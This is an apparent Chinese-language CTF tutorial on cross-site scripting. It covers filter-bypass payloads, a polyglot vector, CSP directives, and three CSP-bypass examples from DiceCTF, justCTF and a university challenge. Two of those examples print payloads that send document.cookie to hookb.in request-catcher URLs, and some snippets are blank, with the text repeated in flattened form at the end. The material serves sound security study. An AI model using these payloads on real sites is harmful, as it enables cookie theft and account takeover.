浅谈xss在ctf中的一些考点
字数 1845 2025-08-06 08:35:37

XSS在CTF中的常见考点与绕过技巧

热身小游戏:基础XSS示例

Level 1:无任何限制

<script>alert(1)</script>
  • 最简单的XSS形式,直接使用<script>标签执行JavaScript

Level 2:<script>标签被过滤


  • 使用``标签和onerror事件处理程序
  • 当图片加载失败时会触发onerror事件

Level 3:拼接注入

' onerror = 'alert(1)';
  • 通过单引号闭合现有属性,然后添加新的事件处理程序

Level4:闭合括号注入

');alert('xss
  • 手动闭合现有括号,然后添加新的JavaScript代码

Level5:<a>标签注入

javascript:alert(1)
  • 使用JavaScript伪协议在<a href>中执行代码

Level6:绕过URL检查

data:text/plain,alert('xss')
  • 使用data:协议绕过HTTP/HTTPS检查
  • 也可通过大小写绕过:HTtp://HttP://

输入限制与绕过技巧

通用Polygot测试向量

javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

1. 对标签的限制绕过

  • 替代标签:
     <svg> <a href> <iframe> <body> <input>
    
  • 大小写绕过:
    <ScRiPt>alert(1)</ScRiPt>
    
  • 双写绕过(当只替换一次时):
    <scrscriptipt>alert(1)</scrscriptipt>
    
  • HTML实体编码:
    &lt;script&gt;alert(1)&lt;/script&gt;
    

2. 对引号的限制绕过

  • 使用/ /代替引号:
    <script>alert(/1/);</script>
    
  • 使用String.fromCharCode
    <script>alert(String.fromCharCode(49));</script>
    

3. 对空格的限制绕过

  • 使用URL编码的空格替代:
    
    
  • 其他替代字符:
    %09 (tab)
    %0a (换行)
    %0d (回车)
    

4. 对长度的限制

CSP绕过技术

CSP基础

Content Security Policy (内容安全策略) 旨在减少跨站脚本攻击,通过定义可信内容来源。

常见指令:

指令 说明
default-src 定义默认加载策略
connect-src 定义ajax、websocket等加载策略
font-src 定义font加载策略
frame-src 定义frame加载策略
img-src 定义图片加载策略
media-src 定义audio、video等资源加载策略
object-src 定义applet、embed、object等资源加载策略
script-src 定义js加载策略
style-src 定义css加载策略
sandbox 沙箱选项
report-uri 日志选项

常见属性值:

属性值 示例 说明
* img-src * 允许从任意url加载
'none' object-src 'none' 禁止从任何url加载资源
'self' img-src 'self' 只可以加载同源资源
data: img-src 'self' data: 可以通过data协议加载资源
domain.example.com img-src domain.example.com 只可以从特定的域加载资源
*.example.com img-src *.example.com 可以从任意example.com的子域处加载资源
https://cdn.com img-src https://cdn.com 只能从给定的域用https加载资源
https: img-src https: 只能从任意域用https加载资源
'unsafe-inline' script-src 'unsafe-inline' 允许内部资源执行代码
'unsafe-eval' script-src 'unsafe-eval' 允许js的eval()等动态执行

CSP绕过实例

1. DiceCTF2021 BabierCSP

  • 漏洞点:nonce值固定不变
  • 利用方式:构造带有相同nonce的恶意脚本
<script nonce=LRGWAXOY98Es0zz0QOVmag==> document.location='https://hookb.in/JKzebMwQPxIJPPWVoqdq/?c='+document.cookie</script>

2. 某国外大学测试题

  • CSP配置:script-src 'self' *.google.com
  • 利用Google子域下的回调函数:
"><script src="https://accounts.google.com/o/oauth2/revoke?callback=window.location.href='https://hookb.in/9XwRzarbRDS600eMoL7d?'%2bdocument.cookie;"></script>

3. justCTF baby-csp

  • 利用PHP开发模式下的warning输出
  • 通过大量warning填满缓冲区,使CSP头设置失效
<script>
    name="fetch('?flag').then(e=>e.text()).then(alert)"
    location = 'https://baby-csp.web.jctf.pro/?user=%3Csvg%20onload=eval(name)%3E&alg='+'a'.repeat('292');
</script>

参考资源

  1. CSP详解
  2. CSP bypass技巧
  3. CTF writeup示例
XSS在CTF中的常见考点与绕过技巧 热身小游戏:基础XSS示例 Level 1:无任何限制 最简单的XSS形式,直接使用 <script> 标签执行JavaScript Level 2: <script> 标签被过滤 使用 ``标签和 onerror 事件处理程序 当图片加载失败时会触发 onerror 事件 Level 3:拼接注入 通过单引号闭合现有属性,然后添加新的事件处理程序 Level4:闭合括号注入 手动闭合现有括号,然后添加新的JavaScript代码 Level5: <a> 标签注入 使用JavaScript伪协议在 <a href> 中执行代码 Level6:绕过URL检查 使用 data: 协议绕过HTTP/HTTPS检查 也可通过大小写绕过: HTtp:// 或 HttP:// 输入限制与绕过技巧 通用Polygot测试向量 1. 对标签的限制绕过 替代标签: 大小写绕过: 双写绕过(当只替换一次时): HTML实体编码: 2. 对引号的限制绕过 使用 / / 代替引号: 使用 String.fromCharCode : 3. 对空格的限制绕过 使用URL编码的空格替代: 其他替代字符: 4. 对长度的限制 使用极短的XSS向量: 参考terjanq的短XSS收集: https://tinyxss.terjanq.me/ CSP绕过技术 CSP基础 Content Security Policy (内容安全策略) 旨在减少跨站脚本攻击,通过定义可信内容来源。 常见指令: | 指令 | 说明 | |------|------| | default-src | 定义默认加载策略 | | connect-src | 定义ajax、websocket等加载策略 | | font-src | 定义font加载策略 | | frame-src | 定义frame加载策略 | | img-src | 定义图片加载策略 | | media-src | 定义audio、video等资源加载策略 | | object-src | 定义applet、embed、object等资源加载策略 | | script-src | 定义js加载策略 | | style-src | 定义css加载策略 | | sandbox | 沙箱选项 | | report-uri | 日志选项 | 常见属性值: | 属性值 | 示例 | 说明 | |--------|------|------| | * | img-src * | 允许从任意url加载 | | 'none' | object-src 'none' | 禁止从任何url加载资源 | | 'self' | img-src 'self' | 只可以加载同源资源 | | data: | img-src 'self' data: | 可以通过data协议加载资源 | | domain.example.com | img-src domain.example.com | 只可以从特定的域加载资源 | | .example.com | img-src .example.com | 可以从任意example.com的子域处加载资源 | | https://cdn.com | img-src https://cdn.com | 只能从给定的域用https加载资源 | | https: | img-src https: | 只能从任意域用https加载资源 | | 'unsafe-inline' | script-src 'unsafe-inline' | 允许内部资源执行代码 | | 'unsafe-eval' | script-src 'unsafe-eval' | 允许js的eval()等动态执行 | CSP绕过实例 1. DiceCTF2021 BabierCSP 漏洞点:nonce值固定不变 利用方式:构造带有相同nonce的恶意脚本 2. 某国外大学测试题 CSP配置: script-src 'self' *.google.com 利用Google子域下的回调函数: 3. justCTF baby-csp 利用PHP开发模式下的warning输出 通过大量warning填满缓冲区,使CSP头设置失效 参考资源 CSP详解 CSP bypass技巧 CTF writeup示例